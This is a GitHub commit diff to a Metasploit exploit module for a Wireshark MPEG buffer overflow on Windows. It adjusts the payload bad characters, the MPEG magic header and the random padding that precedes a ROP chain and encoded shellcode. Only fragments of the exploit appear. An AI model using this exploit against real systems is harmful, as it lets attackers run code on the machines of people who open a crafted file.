Skip to content

Commit 7bc546e

Browse files
committed
Add rand_text_alpha function
1 parent feea4c1 commit 7bc546e

File tree

1 file changed

+3
-7
lines changed

1 file changed

+3
-7
lines changed

modules/exploits/windows/misc/wireshark_mpeg_overflow.rb

Lines changed: 3 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -37,7 +37,7 @@ def initialize(info = {})
3737
},
3838
'Payload' =>
3939
{
40-
'BadChars' => "\xff\x00",
40+
'BadChars' => "\xff",
4141
'Space' => 600,
4242
'DisableNops' => 'True',
4343
'PrependEncoder' => "\x81\xec\xc8\x00\x00\x00" # sub esp,200
@@ -63,10 +63,6 @@ def initialize(info = {})
6363
], self.class)
6464
end
6565

66-
def junk
67-
return rand_text(4).unpack("L")[0].to_i
68-
end
69-
7066
def create_rop_chain()
7167

7268
# rop chain generated with mona.py - www.corelan.be
@@ -98,8 +94,8 @@ def create_rop_chain()
9894
def exploit
9995

10096
print_status("Creating '#{datastore['FILENAME']}' file ...")
101-
magic_header = "\xff\xfb" # mpeg magic_number
102-
packet = pattern_create(892)
97+
magic_header = "\xff\xfb\x41" # mpeg magic_number(MP3) -> http://en.wikipedia.org/wiki/MP3#File_structure
98+
packet = rand_text_alpha(891)
10399
ropchain = create_rop_chain
104100
packet << ropchain
105101
packet << payload.encoded # Shellcode

0 commit comments

Comments
 (0)